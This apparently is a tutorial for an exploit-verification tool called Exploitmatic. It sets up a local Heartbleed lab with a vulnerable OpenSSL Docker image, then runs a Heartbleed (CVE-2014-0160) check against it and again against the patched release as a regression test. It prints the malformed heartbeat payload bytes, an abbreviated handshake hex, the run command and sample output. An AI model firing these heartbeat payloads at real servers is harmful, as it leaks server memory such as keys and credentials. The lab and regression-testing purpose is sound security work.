Build a vulnerable Heartbleed lab in minutes
..... ...::::......... .........::::::::::........ .
...::-=+***+=-::. .-+@@@@@@@@@@%#*++======+++*#%@@@@@@@@@@@@@@@@@%#**++======++
::...::-=#@@@@@@@@@@@@@=:. .:#@@%*++++**#%@@@@@@@@@@@@@@@@@%#*+++======++*#%%@@@@@@@@@@@@@
@%###@@@@@*=:::...:::-#@@: :@@-..............::::::::::......... .........::::::::::
+#@@%#+-:.. .:*@-. :@+.
....... .-@+. -@-.
:@*. .=@-
.@@-:-#@:
.+@@@@:
.:-:.
The replica workflow is the heart of using Exploitmatic responsibly: refine a solution against a local copy of the vulnerable surface, then verify it against an authorized target. A result from a replica is a hypothesis refinement. A result from an authorized target is a finding.
Heartbleed is the cleanest possible first lab, because the vulnerable image already exists and the exploit is a single TLS heartbeat exchange.
The replica
Run the vulnerable OpenSSL 1.0.1c build with nginx in front of it:
docker run -d --name heartbleed-demo -p 8443:443 vulhub/openssl:1.0.1c-with-nginx
That is the whole lab. OpenSSL 1.0.1c is the version that leaks, and the container listens on port 8443 on your host.
The solution
The corpus ships a Heartbleed solution. Its two steps are worth reading before you run them:
id: openssl/heartbleed-mem-leak
summary: CVE-2014-0160 Heartbleed
ref: CVE-2014-0160
tls clienthello-heartbeat
send: 1603030125010001210303...
recv_until: 0e000000
recv: 65536
assert: contains "0e000000"
tls malformed-heartbeat
send: 1803030003014000
recv: 70000
assert: regex "18030[123]40"
The first step completes the TLS handshake and asserts the ServerHelloDone marker. The second sends a malformed heartbeat and asks for far more bytes than the server should return. On a vulnerable build the server answers anyway, and the assert catches the leaked response.
The run
exploitmatic heartbleed-mem-leak.txt 127.0.0.1:8443
The runtime prints one line per step and the result:
clienthello-heartbeat PASS contains "0e000000"
malformed-heartbeat PASS regex "18030[123]40"
result: verified (2/2)
Falsify it
The same solution doubles as a regression test. Swap the container for the fixed release, OpenSSL 1.0.1g, and the malformed heartbeat gets a clean 3 byte response instead of a leak. The second step fails, and the result is not verified.
That is the dual-use property: one plain text file verifies a vulnerability on a vulnerable build and regression-tests the patch on a fixed one.